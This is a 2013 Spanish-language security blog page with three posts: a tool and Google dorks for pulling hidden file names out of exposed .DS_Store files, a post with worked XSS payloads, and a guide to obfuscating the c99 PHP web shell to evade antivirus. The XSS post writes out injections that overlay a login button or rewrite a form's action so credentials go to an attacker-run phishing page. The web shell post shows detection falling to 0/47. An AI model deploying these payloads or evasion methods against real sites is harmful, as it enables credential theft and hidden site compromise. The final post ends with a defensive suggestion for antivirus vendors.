miércoles, 28 de agosto de 2013

iDStore lista ficheros y directorios ocultos de ficheros .DS_Store

Hoy traigo una herramienta que fue publicada en elladodelmal.com hace unos meses cuando aún estaba realizando las prácticas del ciclo superior de Desarrollo de Aplicaciones Web (DAW), quise algún día traerla y hoy ya toco.
Glosario
.DS_Store (Desktop Services Store) es un archivo oculto exclusivo del sistema operativo de Apple Inc. Mac OS X para almacenar los atributos personalizados de una carpeta, como puede ser la posición de los iconos o la imagen de fondo.
Estos ficheros suelen encontrarse en paginas webs al realizar la subida de un directorio junto con los ficheros .DS_Store ocultos de un Mac OS X  y por ello algunos se pueden encontrar indexados a los buscadores. Estos ficheros se puede encontrar dorkeando en Google con un dork tal que así, inurl:.ds_store intext:Bud1 o de esta otra forma ext:ds_store Bud1
image
Imagen 1: Busqueda con Dork
Estos ficheros como se puede apreciar en la siguiente imagen tiene un “Head” propio de propio de ellos que contiene la cadena Bud1 además de un cuerpo en el que se encuentra un patrón al final de los nombres de ficheros y directorios “Ilocblob” que los identifican

Imagen 2: Fichero .DS_Store
La herramienta que he desarrollado se encuentra compilada en C# y Java además de sus correspodientes SRC donde podréis ver e investigar como funciona, esta versión no esta lo depurada que me hubiese gustado pero realiza su objetivo listando de la URL donde se encuentra el fichero .DS_Store los nombres de ficheros y directorios escondidos en el.
Para un ejemplo se realizo la prueba contra esta web que además de contener dicho fichero tiene un directorio abierto, con lo cual se pueden contrastar los resultados extraídos por la herramienta y los que se listan en la propia web y es que esta herramienta es una gran alternativa a listar directorios que se encuentran protegidos y con ello no son listados.

Imagen 3: Directorio abierto
Una vez lanzada la aplicación se puede ver como quedo el resultado en la siguiente captura.

Imagen 4: Resultado de la iDStore
Se puede apreciar los ficheros que en un principio estuvieron, con errores 404 y que ahora no están y los que aún continúan estando
Source en C# y Java + compilados
http://sourceforge.net/projects/idstore/files/

Ya van 165 descargas :O

lunes, 12 de agosto de 2013

Ataques XSS avanzados a aplicaciones webs: 3 Ejemplos

Hoy les traigo 3 ejemplos de aplicaciones en webs vulnerables a inyecciones XSS, a continuación se va a demostrar cómo es posible realizar varios ataques XSS avanzados, donde se interceptan las credenciales de un login vulnerable con dos ejemplos:
1. Añadir imagen invisible superpuesta al botón del submit del form del login2. Cambiar action de un form
Glosario de terminos
XSS: del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código JavaScript o en otro lenguaje script similar.
Scam: es el nombre utilizado para las estafas a través de medios tecnológicos. A partir de la definición de estafa, se define scam como el ‘delito consistente en provocar un perjuicio patrimonial a alguien mediante engaño y con ánimo de lucro; utilizando como medio la tecnología’.
Phising: es un término informático que denomina un tipo de abuso informático y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar adquirir información confidencial de forma fraudulenta.
Ejemplo 1:
Diseccionándola para identificar mejor cada parte de la URL es posible identificar:
Por un lado la URL tal cual.
http://XXXX.YYYY.com/test.jsp?login=
Y por otro la inyección. cerrando el TAG y añadiendo el código correspondiente para el engaño.
"/>
<div style="position: absolute; z-index:1;left:525; top:90; border: none; border: 0;">
<img src="cuadrado.png" height="100" width="160" onclick="javascript:window.location.href='http://127.0.0.1/test/changepassword.php'"></div>
<input type="hidden" value="
Con el cierre del TAG del principio y la apertura de un input evitamos que la aplicación muestre la web erróneamente:
"/>
<input type="hidden" value="
Con el DIV se va a colocar una imagen transparente encima del botón que sirve para acceder al panel de administración.
http://img443.imageshack.us/img443/9761/rg4.png
La imagen al ser cliqueada va a realizar una redirección a una clonación de la página del login que se encuentra alojada en otra web a la espera de recibir ese usuario y contraseña que se espera obtener con este ataque XSS.
Para ver el ejemplo en acción voy a cambiar la imagen invisible por una inexistente y de esta forma poder identificarla en la imagen siguiente.
1
Imagen 1: Imagen sobrepuesta al botón
La víctima al rellenar su usuario y contraseña y cliquear sobre Cambiar contraseña propia estará realmente apretando sobre la imagen que a su vez lanzará el javascript que le va a re direccionar a la web fraudulenta.
2
Imagen 2: Víctima redirigida a la web clonada
Nada más entrar al phising que hemos creado será alertado con un mensaje que le haga creer que se ha equivocado escribiendo sus credenciales. como se puede observar en la barra de direcciones ahora se encuentra en nuestro servidor fraudulento.
Una vez vuelva a escribir sus credenciales se guardarán en un fichero y le volverá a ser redirigido a la web real junto con otro XSS que le vuelva a advertir de que ha escrito erróneamente sus credenciales para que no sospeche.
3
Imagen 3: Usuario y contraseña robada
3
Imagen 4: Redirección a la web original
Ejemplo 2:
Para ver mejor la inyección he separado el código que va a modificar el comportamiento de la aplicación.
<script>document.changeForm.action = " http://127.0.0.1/test/changepassword.php";document.forms[0].btnSubmitOwn.type="submit"</script>
<input type="hidden" value="aaa
Como se puede apreciar se le está cambiando el action del form que en un principio se dirigía a sí mismo, por el de nuestro scam que tenemos en el servidor a la espera de que caiga en el engaño.
document.changeForm.action = " http://127.0.0.1/test/changepassword.php";
y el type del botón para que pase a ser un submit
document.forms[0].btnSubmitOwn.type="submit"
Aquí se puede apreciar cómo una vez hecha la inyección al darle a ‘Cambiar contraseña propia’ se envía tanto el usuario como la contraseña a mi aplicación y esta a su vez lo vuelca en un fichero.
5
Imagen 5: Inyección XSS/ formulario rellenado
6
Imagen 6: Envio de credenciales y vuelta al login original.
De esta forma a diferencia del primer ejemplo a ojos de la víctima sería casi del todo imperceptible.
Ejemplo 3:
Y por último otro ejemplo de XSS no muy común sería el siguiente
http://xxxxx.com/test/ver.php?proyectoId=1
Donde el código fuente de la aplicación es el siguiente:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Plan</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<frameset cols="250,*" frameborder="no" border="0" framespacing="0">
        <frame 
               src="indicePlan.php?proyectoId=1&amp;action=ver" 
               name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
        <frame
               src="verPlan.php?proyectoId=1"
               name="mainFrame" id="mainFrame" />
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>



Al parecer el valor del campo proyectoId termina concatenándose en la propiedad src de la etiqueta frame del tal manera que preparando una inyección XSS como la siguiente:
http://xxxxx.com/test/ver.php?proyectoId=%22%20onload=javascript:alert%288%29%20michy=%22a



Diseccionándolo para que se entienda mejor:
http://xxxxx.com/test/ver.php?proyectoId=



" onload=javascript:alert(8) michy="a

Se puede observar en el código fuente como se logra inyectar lo enviado por el parámetro proyectoId en la etiqueta frame sin romperla y lograr que la aplicación cumpla como estaba prevista sin malformaciones a la vista de la víctima.
        <frame
               src="indicePlan.php?proyectoId=\" onload=javascript:alert(8) michy=\"a&amp;action=ver"
               name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>       



7
Imagen 7: Inyección exitosa en la etiqueta frame

martes, 6 de agosto de 2013

Hacer webshell indetectables parte III de III

Siguiendo con el hilo del post anterior se les va a hablar de herramientas comunes para ofuscar código PHP y así lograr saltarse los antivirus. Como ejemplo se usará una herramienta llamada carbylamine escrita en PHP y desarrollada por Prakhar Prasad

Su uso es simple, es necesario pasarle 2 parámetros, fichero de entrada y fichero de salida

clip_image002[4]
Imagen 1: Ejecución carbylamine

Al comparar el código de los dos ficheros se puede ver un gran cambio

image
Imagen 2: Comparación c99 Ofuscada y sin Ofuscar

Y al analizarlos no se detecta como código malicioso.

clip_image006[4]
Imagen 3: Análisis de Avira

Así de sencillo se logra burlar al antivirus y es que no es Avira el único caso, es más desde mi punto de vista Avira es uno de los mejores antivirus que existe hoy en día y es que volviendo a criticar lo que se habló en el anterior post del método de detección por firmas que tan ineficaz es y aún más si estas empresas no invierten trabajo en añadir firmas a herramientas tan conocidas como puede ser la c99 ofuscada sin previas modificaciones con los típicos métodos de ofuscación.

clip_image008[4]
Imagen 4: Análisis en Virustotal - detección 0/47

Y es que son muchos los que se inician en el mundo del defacement y sin más suben una web shell ofuscada que se han bajado de la primera página de los resultados de google.

clip_image010[4]
Imagen 5: Búsqueda en google c99 webshell

Muchos webmasters se alertarían si su antivirus la hubiese detectado

Conclusión
Me gustaría proponerle una idea y que llegase a los oídos de estas empresas antivirus.
Porqué no advierten los antivirus cuando en un directorio web se encuentra un fichero que hace llamadas a determinadas funciones como gzinflate, base64_decode, etc y si esta al tanto, el administrador la añada como excepción. ¿Se les ocurre algún CMS que ofusque su código fuente como lo hace carbylamine?.

=================================================================
Indetectar web Shell parte I de III
Indetectar web Shell parte II de III
Indetectar web Shell parte III de III
=========================================================================